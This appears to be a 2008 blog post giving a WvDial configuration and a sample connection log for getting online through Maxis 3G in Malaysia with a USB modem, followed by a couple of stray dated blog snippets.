Modem Type = Analog Modem
Baud = 460800
Init = ATX3
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Init3 = AT+CGDCONT=1,”IP”,”unet”
Init4 =
Init5 =
Init6 =
Init7 =
Init8 =
Init9 =
Phone = *99#
Phone1 = *99#
Phone2 =
Phone3 =
Phone4 =
Dial Prefix =
Dial Attempts = 1
Dial Command = ATM0L0DT
Ask Password = off
Password = wap
Username = maxis
Auto Reconnect = on
Abort on Busy = on
Carrier Check = on
Check Def Route = on
Abort on No Dialtone = off
Stupid Mode = on
Idle Seconds = 0
Auto DNS = on
;Minimize = off
;Dock = on
;Do NOT edit this file by hand!
Save it and and Click Connect , see the log and if its look like this, you are connected
Now you are connected to Maxis 3G.—> Ignoring malformed input line: “;Do NOT edit this file by hand!”
—> WvDial: Internet dialer version 1.60
—> Cannot get information for serial port.
—> Initializing modem.
—> Sending: ATX3
ATX3
OK
—> Sending: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
OK
—> Sending: AT+CGDCONT=1,”IP”,”unet”
AT+CGDCONT=1,”IP”,”unet”
OK
—> Modem initialized.
—> Sending: ATM0L0DT*99#
—> Waiting for carrier.
ATM0L0DT*99#
~[7f]}#@!}!}!} }9}#}%B#}%}(}”}’}”}”}&} } } } }%}&F[0e][12]Q[14]1~
CONNECT
—> Carrier detected. Starting PPP immediately.
—> Starting pppd at Wed May 7 14:21:31 2008
—> Warning: Could not modify /etc/ppp/pap-secrets: Permission denied
—> —> PAP (Password Authentication Protocol) may be flaky.
—> Warning: Could not modify /etc/ppp/chap-secrets: Permission denied
—> —> CHAP (Challenge Handshake) may be flaky.
—> Pid of pppd: 6810
—> Using interface ppp0
—> local IP address 58.71.217.61
—> remote IP address 10.64.64.64
—> primary DNS address 10.213.17.1
—> secondary DNS address 10.213.17.2
May 07, 2008 06:20 AM
I posted Malaysian Web Hosting some time back. Since then a few new entries came in so I thought it might make sense to republish them for you.
May 07, 2008 02:00 AM